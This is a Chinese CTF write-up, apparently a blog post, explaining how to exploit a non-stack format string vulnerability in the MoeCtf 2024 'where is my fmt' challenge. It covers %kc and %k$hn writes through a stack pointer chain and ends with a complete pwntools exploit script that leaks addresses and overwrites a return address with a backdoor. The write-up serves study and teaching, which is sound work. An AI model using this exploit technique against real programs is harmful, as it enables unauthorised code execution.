PWN--非栈上格式化字符串漏洞

简介

最近刷题碰到了非栈上的格式化字符串漏洞。

这类题的特点是格式化字符串不在栈上,那么就不能用fmt_str工具来任意地址写了,而是必须要自己手搓。

那么如何手搓呢?

主要是利用%kc和%k$hn(双字节)或者%k$hhn(单字节)。

%kc(k是一个整数)的作用是打印k个空字符,这样的话可以控制%k$n写入的值。

%k$n的作用是对于第k个参数(必须是指针类型),往其指向的地址写入已打印的字符个数。

具体如何操作,请看例题。

例题 MoeCtf 2024--where is my fmt

buf在bss段,然后给了三次格式化字符串漏洞。

第一次printf的栈:

 大体思路就是,先利用第一次printf泄露栈地址和libc地址(本题有后门,可以不用)

然后修改某个函数的返回地址为backdoor地址。

比如说,上面红框里面是vul函数的返回地址,我们是不能直接修改这个值的。

例如这种情况,栈地址-->addr2--->addr3,已知栈地址是第几个参数,我们能修改的是addr3。

栈上一般都有一些符合上述形式的链,如蓝色筐。我们可以修改addr3为0x7ffd9784e138(vul函数返回地址在栈上的位置)。

这样的话,我们只需要知道addr2是第几个参数,那么我们就可以通过addr2-->addr3--->vul_ret_addr 来修改vul函数的返回地址。

ps:在做题的时候,我发现一次printf只能使用一次%k$n,具体原因不明。

exp

from pwn import *
from pwncli import *
context(os='linux', arch='amd64', log_level='debug')


p = process('./pwn')
elf = ELF('./pwn')
libc = ELF('./libc.so.6')

def debug():
    gdb.attach(p)
    pause()

#先泄露栈地址和libc地址

p.recvuntil(b'chances.\n')
payload = b'%8$p %7$p'
debug()
p.send(payload)
stack_addr = int(p.recv(14),16) 
stack_vul_ret = stack_addr + (0x7ffd128984d8-0x7ffd128984e0)
log.success('vul_ret:'+hex(stack_vul_ret))
backdoor = 0x401205

#修改成栈地址->addr1->addr2(改成main_ret)
p.recvuntil(b'chances.\n')
payload2 = b'%'+str(stack_vul_ret & 0xffff).encode()+b'c'
payload2+=b'%15$hn'

# debug()
p.send(payload2)
p.recvuntil(b'chances.\n')
payload3 = b'%'+str(backdoor&0xffff).encode()+b'c'+b'%45$hn' 

p.send(payload3)
p.interactive()

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值